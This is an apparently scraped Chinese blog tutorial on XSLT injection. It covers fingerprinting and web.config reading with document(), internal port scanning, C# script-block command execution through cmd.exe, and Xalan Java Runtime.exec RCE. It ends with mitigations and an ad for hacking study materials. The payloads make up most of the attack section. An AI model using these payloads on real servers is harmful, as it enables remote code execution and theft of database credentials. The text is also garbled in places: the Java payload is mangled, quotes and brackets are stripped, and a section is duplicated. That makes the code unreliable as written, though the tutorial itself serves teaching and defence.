宁波其它区低价企业网站搭建哪家好,Python个人网站建设论文,一个刚起步的公司要如何管理,代理赚钱XSLT简介
XSL(可扩展样式表语言)是一种用于转换XML文档的语言#xff0c;XSLT表示的就是XSL转换#xff0c;转换后得到的一般都是不同的XML文档或其他类型文档#xff0c;例如HTML文档、CSV文件以及明文文本文件等等。
一般来说#xff0c;应用程序或模板引擎在处理不同文…XSLT简介
XSL(可扩展样式表语言)是一种用于转换XML文档的语言XSLT表示的就是XSL转换转换后得到的一般都是不同的XML文档或其他类型文档例如HTML文档、CSV文件以及明文文本文件等等。
一般来说应用程序或模板引擎在处理不同文件类型时需要使用XSLT来进行数据转换。很多企业级应用比较喜欢使用XSLT比如说多用户发- 票应用程序可以使用XSLT来允许客户自定义它们的发-票客户可以根据自己的需求来修改发-票信息以及格式。
其他常见应用
报告功能多种格式的数据导出功能;数据打印和输出功能;电子邮件;
** XSLT举例**
个人理解就是给XML美化生成其他文档的东西
xsl文件可以理解为美化模板 xml文件待美化的内容 结合 最终美化效果 ** 判断漏洞**
可以通过注入导致错误XML语法的字符比如双引号、单引号、尖括号的方法。如果服务器返回了错误那么应用则可能易受攻击。总的来说这种识别技术和XML注入漏洞识别技术是相同的。
** 攻击**
XSLT注入就是XLS模版文件内容可控从而操作一些函数导致可以造成其他的危害
** system-property()函数和指纹**
我们可以通过system-property()函数来获取库发布者的名字该函数是XSLT v1.0d的标准所以所有的库都实现了这一点。
正确有效的参数是
xsl: vendorxsl: vendor-urlxsl: version ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:value-of** select“system-property(‘xsl:vendor’)”/ / ** xsl:template** / ** xsl:stylesheet**
** 使用document()进行XML文件读取端口扫描**
document()函数允许XSLT转换获取存储在除了主数据源以外的外部XML文档中的数据。注意返回的格式必须是XML才行
攻击者可以滥用document函数来读取远程系统的文件通常是以转换结果的整个内容进行拷贝为手段。 ** 但这种攻击要求文件是格式工整的XML文档** 但这并不总是个问题因为大多数时候敏感信息总是存储在XML文件中。比如在一个asp.net web应用中web.config文件就是个很好的例子因为它包含了数据库认证信息。 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:copy-of** select“document(‘C:\webapps\web.config’)”/ Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** / ** xsl:stylesheet**
document()函数可以用于获取远程系统的文档并且能通过UNC路径或如下所示URL来进行基本的网络扫描 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” ** xsl:copy-of** select“document(‘http://172.16.132.1:25’)”/ Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** / ** xsl:stylesheet**
** 嵌入脚本区块执行远程代码**
嵌入的脚本区块是专有的XSLT扩展可以直接在XSLT文档中包含代码。在微软的实现中可以包含C#代码。当文档被解析远程服务器会编译然后执行代码。 ?xml version1.0 encodingUTF-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” xmlns:msxsl“urn:schemas-microsoft-com:xslt” xmlns:user“urn:my-scripts” ** msxsl:script** language “C#” implements-prefix “user” ![CDATA[ public string execute(){ System.Diagnostics.Process proc new System.Diagnostics.Process(); proc.StartInfo.FileName C:\\\windows\\\system32\\\cmd.exe; proc.StartInfo.RedirectStandardOutput true; proc.StartInfo.UseShellExecute false; proc.StartInfo.Arguments /c dir; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]
/ ** msxsl:script** ** xsl:template** match“/fruits” — BEGIN COMMAND OUTPUT — ** xsl:value-of** select“user:execute()”/ — END COMMAND OUTPUT — / ** xsl:template** / ** xsl:stylesheet**
** JAVA RCE**
xslt处理器如果不禁用能将本机的java语言方法暴露为XSLT函数导致任意代码执行漏洞 ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” xmlns:rt“http://xml.apache.org/xalan/java/java.lang.Runtime” xmlns:ob“http://xml.apache.org/xalan/java/java.lang.Object” ** xsl:template** match“/” ** xsl:variable** name“rtobject” select“rt:getRuntime()”/ ** xsl:variable** name“process” select“rt:exec( r t o b j e c t , ′ l s ′ ) / ∗ ∗ ∗ ∗ x s l : v a r i a b l e ∗ ∗ ∗ ∗ n a m e p r o c e s s S t r i n g s e l e c t o b : t o S t r i n g ( rtobject,ls)/ ** **xsl:variable**** nameprocessString selectob:toString( rtobject,′ls′)/∗∗∗∗xsl:variable∗∗∗∗nameprocessStringselectob:toString(process)”/ ** xsl:value-of** select“$processString”/ / ** xsl:template** / ** xsl:stylesheet**
** import和incldue**
前面都是考虑到可以完全控制XSL文件的情况但如果只能控制其中的一部分内容的话又该怎么利用呢
攻击者通过将XSLT文档和外部文档组合来打破这种限制import和incldue函数可以达到这样的效果。在加载外部文件时整个文档将被解析。如果攻击者可以控制这个过程那么他们可以使用XXE和在外部文件中使用内嵌脚本这两种攻击方式。
外部文件可能是之前上传到服务器上的文件或者从外部通过URL引用的文件只要文件内容是XML格式即可。
当xsl:include在其他地方使用时xsl:import标签只能作为xsl:stylesheet标签的第一个子标签。
利用前需要闭合之前的标签然后再插入我们注入的语句
比如
** ** /xsl:template ** xsl:include** href“external_transform.xslt”/ ** xsl:template** name“a”
插入后构造出的XSL ?xml version1.0 encodingutf-8? ** xsl:stylesheet** version“1.0” xmlns:xsl“http://www.w3.org/1999/XSL/Transform” ** xsl:template** match“/fruits” / ** xsl:template** ** xsl:include** href“external_transform.xslt”/ ** xsl:template** name“a” Fruits: ** xsl:for-each** select“fruit” - ** xsl:value-of** select“name”/: ** xsl:value-of** select“description”/ / ** xsl:for-each** / ** xsl:template** ** xsl:include** href“external_transform.xslt”/ / ** xsl:stylesheet**
** 安全建议**
尽可能避免使用用户提供的XSLT文档不要使用不受信任的输入去生成XSLT文档比如拼接字符串。如果需要非静态值则应将其包含在XML数据文件中并且仅由XSLT文档引用明确禁止使用XSLT库实现的危险功能。查阅库的文档如何禁用XML外部实体、document()函数、import和include标签。确保嵌入脚本扩展是禁用的同时其他允许读或写外部文件的专用扩展也禁用。
** 参考**
【译】XSLT attackXSLT - 转换
、import和include标签。确保嵌入脚本扩展是禁用的同时其他允许读或写外部文件的专用扩展也禁用。
** 参考**
【译】XSLT attackXSLT - 转换
网络安全工程师(白帽子)企业级学习路线
第一阶段安全基础入门 第二阶段Web渗透初级网安工程师 第三阶段进阶部分中级网络安全工程师 如果你对网络安全入门感兴趣那么你需要的话可以点击这里网络安全重磅福利入门进阶全套282G学习资源包免费分享
学习资源分享
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nh1g9DmO-1690686969537)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]